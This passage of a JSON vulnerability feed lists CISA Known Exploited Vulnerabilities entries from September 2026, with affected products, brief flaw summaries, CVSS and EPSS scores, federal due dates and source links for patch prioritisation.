ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-87491","asOf":"2026-09-21T12:51:58.334Z"},"epss":{"probability":0.03507,"percentile":0.89105,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87491&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-87491","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-87491 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87491&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87491, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-87491","type":"primary","publishedAt":"2026-09-09T00:09:38.419Z","checkedAt":"2026-10-26T15:36:04.148Z","supports":"The published CVE-2026-87491 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:36:04.148Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75650","cveId":"CVE-2026-75650","aliases":[],"kind":"vulnerability","title":"Adobe Commerce and Magento Improper Neutralization of Special Elements Used in a Template Engine Vulnerability","summary":"Adobe Commerce and Magento Open Source contain an improper neutralization of special elements used in a template engine vulnerability that could allow an attacker to execute arbitrary code.","detail":"CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-08","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Commerce and Magento","stacks":["Adobe Commerce and Magento","Adobe","Commerce and Magento"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-08","dueAt":"2026-09-11","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-75650","asOf":"2026-09-07T20:17:16.761Z"},"epss":{"probability":0.03949,"percentile":0.9034,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75650&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-75650","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-75650 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75650&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75650, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA adobe","url":"https://cveawg.mitre.org/api/cve/CVE-2026-75650","type":"primary","publishedAt":"2026-09-07T20:17:16.761Z","checkedAt":"2026-10-26T15:36:04.148Z","supports":"The published CVE-2026-75650 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:36:04.148Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81963","cveId":"CVE-2026-81963","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Link Following Vulnerability","summary":"Microsoft Windows Update Stack contains a link following vulnerability that allows a local attacker to escalate privileges locally up to SYSTEM.","detail":"CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-08","dueAt":"2026-09-22","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-81963","asOf":"2026-10-14T23:14:33.668Z"},"epss":{"probability":0.00393,"percentile":0.33251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-81963&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-81963","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-81963 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-81963&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-81963, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2026-81963","type":"primary","publishedAt":"2026-09-08T17:19:13.121Z","checkedAt":"2026-10-26T15:36:04.148Z","supports":"The published CVE-2026-81963 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:36:04.148Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85880","cveId":"CVE-2026-85880","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Heap-Based Buffer Overflow Vulnerability","summary":"Microsoft Windows Advanced Local Procedure Call contains a heap-based buffer overflow vulnerability that allows an attacker to elevate privileges locally.","detail":"CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-08","dueAt":"2026-09-22","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-85880","asOf":"2026-10-14T23:09:31.608Z"},"epss":{"probability":0.00387,"percentile":0.32528,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85880&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-85880","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-85880 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85880&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85880, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2026-85880","type":"primary","publishedAt":"2026-09-08T17:14:21.465Z","checkedAt":"2026-10-26T15:36:04.148Z","supports":"The published CVE-2026-85880 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:36:04.148Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86218","cveId":"CVE-2026-86218","aliases":[],"kind":"vulnerability","title":"N-able N-central Static Code Injection Vulnerability","summary":"N-able N-central contains a static code injection vulnerability that could allow for pre-authentication remote code execution.","detail":"CISA added this entry on 2026-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-08","updatedAt":null,"regions":["Global"],"vendor":"N-able","product":"N-central","stacks":["N-able","N-central"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-08","dueAt":"2026-09-11","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-86218","asOf":"2026-09-06T02:15:28.824Z"},"epss":{"probability":0.15385,"percentile":0.96759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-86218","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-86218 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86218, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA N-able","url":"https://cveawg.mitre.org/api/cve/CVE-2026-86218","type":"primary","publishedAt":"2026-09-06T02:15:28.824Z","checkedAt":"2026-10-26T15:36:04.148Z","supports":"The published CVE-2026-86218 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:36:04.148Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85046","cveId":"CVE-2026-85046","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2026-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-04","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-04","dueAt":"2026-09-18","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-85046","asOf":"2026-09-21T12:53:20.125Z"},"epss":{"probability":0.01806,"percentile":0.78414,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85046&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-85046","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-85046 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85046&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85046, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-85046","type":"primary","publishedAt":"2026-09-03T19:26:12.609Z","checkedAt":"2026-10-26T15:36:04.148Z","supports":"The published CVE-2026-85046 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:36:04.148Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48710","cveId":"CVE-2026-48710","aliases":[],"kind":"vulnerability","title":"Kludex Starlette HTTP Request/Response Smuggling Vulnerability","summary":"Kludex Starlette contains a HTTP request/response smuggling vulnerability that could allow attackers to inject paths into the host part, prepending the actual path leading to issues such as authentication bypass when the authentication depends on the reconstructed URL’s path. This vulnerability could be chaned with CVE-2026-42271.","detail":"CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-02","updatedAt":null,"regions":["Global"],"vendor":"Kludex","product":"Starlette","stacks":["Kludex","Starlette"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-02","dueAt":"2026-09-16","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-48710","asOf":"2026-05-26T21:54:54.393Z"},"epss":{"probability":0.70288,"percentile":0.99379,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48710&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-48710","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-48710 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48710&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48710, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA GitHub_M","url":"https://cveawg.mitre.org/api/cve/CVE-2026-48710","type":"primary","publishedAt":"2026-05-26T21:54:54.393Z","checkedAt":"2026-10-26T15:51:07.344Z","supports":"The published CVE-2026-48710 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:51:07.344Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-49869","cveId":"CVE-2026-49869","aliases":[],"kind":"vulnerability","title":"Kestra OSS OS Command Injection Vulnerability","summary":"Kestra OSS contains an OS command injection vulnerability that could allow an unauthenticated remote attacker to create and execute arbitrary workflows without credentials.","detail":"CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-02","updatedAt":null,"regions":["Global"],"vendor":"Kestra","product":"Kestra OSS","stacks":["Kestra","Kestra OSS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-02","dueAt":"2026-09-05","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-49869","asOf":"2026-06-26T20:58:19.576Z"},"epss":{"probability":0.02095,"percentile":0.81535,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-49869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-49869","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-49869 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-49869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-49869, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA GitHub_M","url":"https://cveawg.mitre.org/api/cve/CVE-2026-49869","type":"primary","publishedAt":"2026-06-26T20:58:19.576Z","checkedAt":"2026-10-26T15:51:07.344Z","supports":"The published CVE-2026-49869 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:51:07.344Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-59822","cveId":"CVE-2026-59822","aliases":[],"kind":"vulnerability","title":"BerriAI LiteLLM Improper Authentication Vulnerability","summary":"BerriAI LiteLLM contains an improper authentication vulnerability in the MCP Streamable HTTP endpoint that could allow an unauthenticated attacker to establish an authenticated MCP session using an arbitrary Bearer token.","detail":"CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-02","updatedAt":null,"regions":["Global"],"vendor":"BerriAI","product":"LiteLLM","stacks":["LiteLLM","BerriAI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-02","dueAt":"2026-09-16","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-59822","asOf":"2026-07-08T19:32:18.611Z"},"epss":{"probability":0.00836,"percentile":0.57449,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-59822&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-59822","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-59822 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-59822&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-59822, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA GitHub_M","url":"https://cveawg.mitre.org/api/cve/CVE-2026-59822","type":"primary","publishedAt":"2026-07-08T19:32:18.611Z","checkedAt":"2026-10-26T15:51:07.344Z","supports":"The published CVE-2026-59822 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:51:07.344Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82329","cveId":"CVE-2026-82329","aliases":[],"kind":"vulnerability","title":"JFrog Artifactory Improper Authentication Vulnerability","summary":"JFrog Artifactory contains an improper authentication vulnerability that under default configuration can allow an unauthenticated attacker with network access to obtain administrative privileges.","detail":"CISA added this entry on 2026-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-02","updatedAt":null,"regions":["Global"],"vendor":"JFrog","product":"Artifactory","stacks":["JFrog","Artifactory"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-02","dueAt":"2026-09-05","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 